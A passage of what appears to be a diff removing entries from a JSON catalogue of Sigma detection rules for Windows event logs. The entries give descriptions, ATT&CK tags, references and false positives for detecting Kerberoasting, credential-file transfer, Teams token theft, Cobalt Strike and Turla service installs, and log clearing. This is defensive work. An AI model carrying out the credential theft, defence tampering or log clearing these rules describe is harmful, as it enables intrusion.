service account. These accounts can be added as Exceptions. (From elastic FP section)" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", - "uuid": "c462f537-a1e3-41a6-b5fc-b2c2cef9bf82", - "value": "Suspicious PsExec Execution", - "meta": { - "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_psexec.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2019/04/03", - "filename": "win_security_susp_psexec.yml", - "author": "Samir Bousseaden", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects known sensitive file extensions accessed on a network share", - "uuid": "91c945bc-2ad1-4799-a591-4d00198a1215", - "value": "Suspicious Access to Sensitive File Extensions", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_raccess_sensitive_fext.yml" - ], - "tags": [ - "attack.collection", - "attack.t1039" - ], - "creation_date": "2019/04/03", - "filename": "win_security_susp_raccess_sensitive_fext.yml", - "author": "Samir Bousseaden", - "level": "medium", - "falsepositive": [ - "Help Desk operator doing backup or re-imaging end user machine or backup software", - "Users working with these data types or exchanging message files" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects service ticket requests using RC4 encryption type", - "uuid": "496a0e47-0a33-4dca-b009-9e6ca3591f39", - "value": "Suspicious Kerberos RC4 Ticket Encryption", - "meta": { - "refs": [ - "https://adsecurity.org/?p=3458", - "https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rc4_kerberos.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003" - ], - "creation_date": "2017/02/06", - "filename": "win_security_susp_rc4_kerberos.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Service accounts used on legacy systems (e.g. NetApp)", - "Windows Domains with DFL 2003 and legacy systems" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like", - "uuid": "16f5d8ca-44bd-47c8-acbe-6fc95a16c12f", - "value": "RottenPotato Like Attack Pattern", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1195284233729777665", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rottenpotato.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access", - "attack.t1557.001" - ], - "creation_date": "2019/11/15", - "filename": "win_security_susp_rottenpotato.yml", - "author": "@SBousseaden, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a possible remote NTLM hash change through SAMR API SamiChangePasswordUser() or SamSetInformationUser().\n\"Audit User Account Management\" in \"Advanced Audit Policy Configuration\" has to be enabled in your local security policy / GPO to see this events.\n", - "uuid": "7818b381-5eb1-4641-bea5-ef9e4cfb5951", - "value": "Possible Remote Password Change Through SAMR", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_samr_pwset.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1212" - ], - "creation_date": "2017/06/09", - "filename": "win_security_susp_samr_pwset.yml", - "author": "Dimitrios Slamaris", - "level": "medium", - "falsepositive": "No established falsepositives", - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects renaming of file while deletion with SDelete tool.", - "uuid": "39a80702-d7ca-4a83-b776-525b1f86a36d", - "value": "Secure Deletion with SDelete", - "meta": { - "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm", - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://docs.microsoft.com/en-gb/sysinternals/downloads/sdelete", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_sdelete.yml" - ], - "tags": [ - "attack.impact", - "attack.defense_evasion", - "attack.t1070.004", - "attack.t1027.005", - "attack.t1485", - "attack.t1553.002", - "attack.s0195" - ], - "creation_date": "2017/06/14", - "filename": "win_security_susp_sdelete.yml", - "author": "Thomas Patzke", - "level": "medium", - "falsepositive": [ - "Legitimate usage of SDelete" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detect scenarios where a potentially unauthorized application or user is modifying the system time.", - "uuid": "faa031b5-21ed-4e02-8881-2591f98d82ed", - "value": "Unauthorized System Time Modification", - "meta": { - "refs": [ - "Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)", - "Live environment caused by malware", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4616", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_time_modification.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.006" - ], - "creation_date": "2019/02/05", - "filename": "win_security_susp_time_modification.yml", - "author": "@neu5ron", - "level": "low", - "falsepositive": [ - "HyperV or other virtualization technologies with binary not listed in filter portion of detection" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detection of logins performed with WMI", - "uuid": "5af54681-df95-4c26-854f-2565e13cfab0", - "value": "Login with WMI", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_wmi_login.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2019/12/04", - "filename": "win_security_susp_wmi_login.yml", - "author": "Thomas Patzke", - "level": "low", - "falsepositive": [ - "Monitoring tools", - "Legitimate system administration" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects remote service activity via remote access to the svcctl named pipe", - "uuid": "586a8d6b-6bfe-4ad9-9d78-888cd2fe50c3", - "value": "Remote Service Activity via SVCCTL Named Pipe", - "meta": { - "refs": [ - "https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_svcctl_remote_service.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.persistence", - "attack.t1021.002" - ], - "creation_date": "2019/04/03", - "filename": "win_security_svcctl_remote_service.yml", - "author": "Samir Bousseaden", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects handle requests and access operations to specific registry keys to calculate the SysKey", - "uuid": "9a4ff3b8-6187-4fd2-8e8b-e0eae1129495", - "value": "SysKey Registry Keys Access", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190625024610.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_syskey_registry_access.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1012" - ], - "creation_date": "2019/08/12", - "filename": "win_security_syskey_registry_access.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Potential threat actor tampering with Sysmon manifest and eventually disabling it", - "uuid": "18beca67-ab3e-4ee3-ba7a-a46ca8d7d0cc", - "value": "Sysmon Channel Reference Deletion", - "meta": { - "refs": [ - "https://twitter.com/Flangvik/status/1283054508084473861", - "https://twitter.com/SecurityJosh/status/1283027365770276866", - "https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html", - "https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sysmon_channel_reference_deletion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2020/07/14", - "filename": "win_security_sysmon_channel_reference_deletion.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", - "uuid": "9c8afa4d-0022-48f0-9456-3712466f9701", - "value": "Tap Driver Installation", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_tap_driver_installation.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048" - ], - "creation_date": "2019/10/24", - "filename": "win_security_tap_driver_installation.yml", - "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate OpenVPN TAP insntallation" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", - "uuid": "25cde13e-8e20-4c29-b949-4e795b76f16f", - "value": "Suspicious Teams Application Related ObjectAcess Event", - "meta": { - "refs": [ - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", - "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_teams_suspicious_objectaccess.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1528" - ], - "creation_date": "2022/09/16", - "filename": "win_security_teams_suspicious_objectaccess.yml", - "author": "@SerkinValery", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", - "uuid": "910ab938-668b-401b-b08c-b596e80fdca5", - "value": "Transferring Files with Credential Data via Network Shares", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_transf_files_with_cred_data_via_network_shares.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.001", - "attack.t1003.003" - ], - "creation_date": "2019/10/22", - "filename": "win_security_transf_files_with_cred_data_via_network_shares.yml", - "author": "Teymur Kheirkhabarov, oscd.community", - "level": "medium", - "falsepositive": [ - "Transferring sensitive files for legitimate administration work by legitimate administrator" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This rule triggers on user accounts that are added to the local Administrators group, which could be legitimate activity or a sign of privilege escalation activity", - "uuid": "c265cf08-3f99-46c1-8d59-328247057d57", - "value": "User Added to Local Administrators", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_added_to_local_administrators.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1078", - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2017/03/14", - "filename": "win_security_user_added_to_local_administrators.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate administrative activity" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.", - "uuid": "6daac7fc-77d1-449a-a71a-e6b4d59a0e54", - "value": "User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess'", - "meta": { - "refs": [ - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.t1558.003" - ], - "creation_date": "2019/10/24", - "filename": "win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml", - "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects local user creation on windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your windows server logs and not on your DC logs.", - "uuid": "66b6be3d-55d0-4f47-9855-d69df21740ea", - "value": "Local User Creation", - "meta": { - "refs": [ - "https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001" - ], - "creation_date": "2019/04/18", - "filename": "win_security_user_creation.yml", - "author": "Patrick Bareiss", - "level": "low", - "falsepositive": [ - "Domain Controller Logs", - "Local accounts managed by privileged account management tools" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the loading of drivers via 'SeLoadDriverPrivilege' required to load or unload a device driver.\nWith this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode.\nThis user right does not apply to Plug and Play device drivers.\nIf you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers.\nThis will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools.\nSo you have to work with a whitelist to find the bad stuff.\n", - "uuid": "f63508a0-c809-4435-b3be-ed819394d612", - "value": "Suspicious Driver Loaded By User", - "meta": { - "refs": [ - "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4673", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_driver_loaded.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2019/04/08", - "filename": "win_security_user_driver_loaded.yml", - "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", - "level": "medium", - "falsepositive": [ - "Other legimate tools loading drivers. There are some: Sysinternals, CPU-Z, AVs etc. - but not much. You have to baseline this according to your used products and allowed tools. Also try to exclude users, which are allowed to load drivers." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a user log-off activity. Could be used for example to correlate information during forensic investigations", - "uuid": "0badd08f-c6a3-4630-90d3-6875cca440be", - "value": "User Logoff Event", - "meta": { - "refs": [ - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4634", - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4647", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_logoff.yml" - ], - "tags": "No established tags", - "creation_date": "2022/10/14", - "filename": "win_security_user_logoff.yml", - "author": "frack113", - "level": "informational", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.", - "uuid": "e9faba72-4974-4ab2-a4c5-46e25ad59e9b", - "value": "VSSAudit Security Event Source Registration", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_vssaudit_secevent_source_registration.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ], - "creation_date": "2020/10/20", - "filename": "win_security_vssaudit_secevent_source_registration.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", - "level": "informational", - "falsepositive": [ - "Legitimate use of VSSVC. Maybe backup operations. It would usually be done by C:\\Windows\\System32\\VSSVC.exe." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network for a WMI DLL Hijack scenario.", - "uuid": "f6c68d5f-e101-4b86-8c84-7d96851fd65c", - "value": "T1047 Wmiprvse Wbemcomn DLL Hijack", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmiprvse_wbemcomn_dll_hijack.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2020/10/12", - "filename": "win_security_wmiprvse_wbemcomn_dll_hijack.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", - "uuid": "f033f3f3-fd24-4995-97d8-a3bb17550a88", - "value": "WMI Persistence", - "meta": { - "refs": [ - "https://twitter.com/mattifestation/status/899646620148539397", - "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmi_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.003" - ], - "creation_date": "2017/08/22", - "filename": "win_security_wmi_persistence.yml", - "author": "Florian Roth, Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown (data set is too small; further testing needed)" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL", - "uuid": "0b0ea3cc-99c8-4730-9c53-45deee2a4c86", - "value": "Microsoft Defender Blocked from Loading Unsigned DLL", - "meta": { - "refs": [ - "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2022/08/02", - "filename": "win_security_mitigations_defender_load_unsigned_dll.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations", - "uuid": "8289bf8c-4aca-4f5a-9db3-dc3d7afe5c10", - "value": "Unsigned Binary Loaded From Suspicious Location", - "meta": { - "refs": [ - "https://github.com/nasbench/EVTX-ETW-Resources/blob/45fd5be71a51aa518b1b36d4e1f36af498084e27/ETWEventsList/CSV/Windows11/21H2/W11_21H2_Pro_20220719_22000.795/Providers/Microsoft-Windows-Security-Mitigations.csv", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_unsigned_dll_from_susp_location.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2022/08/03", - "filename": "win_security_mitigations_unsigned_dll_from_susp_location.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Rule to detect the Hybrid Connection Manager service running on an endpoint.", - "uuid": "b55d23e5-6821-44ff-8a6e-67218891e49f", - "value": "HybridConnectionManager Service Running", - "meta": { - "refs": [ - "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/servicebus/win_hybridconnectionmgr_svc_running.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1554" - ], - "creation_date": "2021/04/12", - "filename": "win_hybridconnectionmgr_svc_running.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Legitimate use of Hybrid Connection Manager via Azure function apps." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious application installed by looking at the added shortcut to the app resolver cache", - "uuid": "83c161b6-ca67-4f33-8ad0-644a0737cf07", - "value": "Suspicious Application Installed", - "meta": { - "refs": [ - "https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/shell_core/win_shell_core_susp_packages_installed.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/08/14", - "filename": "win_shell_core_susp_packages_installed.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Packages or applications being legitimately used by users or administrators" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service", - "uuid": "71886b70-d7b4-4dbf-acce-87d2ca135262", - "value": "Suspicious Rejected SMB Guest Logon From IP", - "meta": { - "refs": [ - "https://twitter.com/KevTheHermit/status/1410203844064301056", - "https://github.com/hhlxf/PrintNightmare", - "https://github.com/afwu/PrintNightmare", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_guest_logon.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110.001" - ], - "creation_date": "2021/06/30", - "filename": "win_susp_failed_guest_logon.yml", - "author": "Florian Roth, KevTheHermit, fuzzyf10w", - "level": "medium", - "falsepositive": [ - "Account fallback reasons (after failed login with specific account)" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects repeated failed (outgoing) attempts to mount a hidden share", - "uuid": "1c3be8c5-6171-41d3-b792-cab6f717fcdb", - "value": "Failed Mounting of Hidden Share", - "meta": { - "refs": [ - "https://twitter.com/moti_b/status/1032645458634653697", - "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Cyber-Security/SiSyPHuS/AP10/Logging_Configuration_Guideline.pdf?__blob=publicationFile&v=5", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_hidden_share_mount.yml" - ], - "tags": [ - "attack.t1021.002", - "attack.lateral_movement" - ], - "creation_date": "2022/08/30", - "filename": "win_susp_failed_hidden_share_mount.yml", - "author": "Fabian Franz", - "level": "medium", - "falsepositive": [ - "Legitimate administrative activity", - "Faulty scripts" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.", - "uuid": "530a6faa-ff3d-4022-b315-50828e77eef5", - "value": "Anydesk Remote Access Software Service Installation", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_anydesk_service_installation.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/08/11", - "filename": "win_system_anydesk_service_installation.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate usage of the anydesk tool" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects application popup reporting a failure of the Sysmon service", - "uuid": "4d7f1827-1637-4def-8d8a-fd254f9454df", - "value": "Sysmon Crash", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_application_sysmon_crash.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ], - "creation_date": "2022/04/26", - "filename": "win_system_application_sysmon_crash.yml", - "author": "Tim Shelton", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET", - "uuid": "1df8b3da-b0ac-4d8a-b7c7-6cb7c24160e4", - "value": "Turla Service Install", - "meta": { - "refs": [ - "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_carbonpaper_turla.yml" - ], - "tags": [ - "attack.persistence", - "attack.g0010", - "attack.t1543.003" - ], - "creation_date": "2017/03/31", - "filename": "win_system_apt_carbonpaper_turla.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", - "uuid": "53ba33fd-3a50-4468-a5ef-c583635cfa92", - "value": "Chafer Activity", - "meta": { - "refs": [ - "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_chafer_mar18_system.yml" - ], - "tags": [ - "attack.persistence", - "attack.g0049", - "attack.t1053.005", - "attack.s0111", - "attack.t1543.003", - "attack.defense_evasion", - "attack.t1112", - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2018/03/23", - "filename": "win_system_apt_chafer_mar18_system.yml", - "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky", - "uuid": "9e987c6c-4c1e-40d8-bd85-dd26fba8fdd6", - "value": "StoneDrill Service Install", - "meta": { - "refs": [ - "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_stonedrill.yml" - ], - "tags": [ - "attack.persistence", - "attack.g0064", - "attack.t1543.003" - ], - "creation_date": "2017/03/07", - "filename": "win_system_apt_stonedrill.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018", - "uuid": "1228f8e2-7e79-4dea-b0ad-c91f1d5016c1", - "value": "Turla PNG Dropper Service", - "meta": { - "refs": [ - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_turla_service_png.yml" - ], - "tags": [ - "attack.persistence", - "attack.g0010", - "attack.t1543.003" - ], - "creation_date": "2018/11/23", - "filename": "win_system_apt_turla_service_png.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", - "uuid": "5a105d34-05fc-401e-8553-272b45c1522d", - "value": "CobaltStrike Service Installations", - "meta": { - "refs": [ - "https://www.sans.org/webcasts/119395", - "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", - "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_cobaltstrike_service_installs.yml" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1543.003", - "attack.t1569.002" - ], - "creation_date": "2021/05/26", - "filename": "win_system_cobaltstrike_service_installs.yml", - "author": "Florian Roth, Wojciech Lesicki", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the \"Windows Defender Threat Protection\" service has been disabled", - "uuid": "6c0a7755-6d31-44fa-80e1-133e57752680", - "value": "Windows Defender Threat Detection Disabled - Service", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_defender_disabled.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2020/07/28", - "filename": "win_system_defender_disabled.yml", - "author": "J\u00e1n Tren\u010dansk\u00fd, frack113", - "level": "low", - "falsepositive": [ - "Administrator actions", - "Auto updates of Windows Defender causes restarts" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", - "uuid": "a62b37e0-45d3-48d9-a517-90c1a1b0186b", - "value": "Eventlog Cleared", - "meta": { - "refs": [ - "https://twitter.com/deviouspolack/status/832535435960209408", - "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_eventlog_cleared.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.001", - "car.2016-04-002" - ], - "creation_date": "2017/01/10", - "filename": "win_system_eventlog_cleared.yml", - "author": "Florian 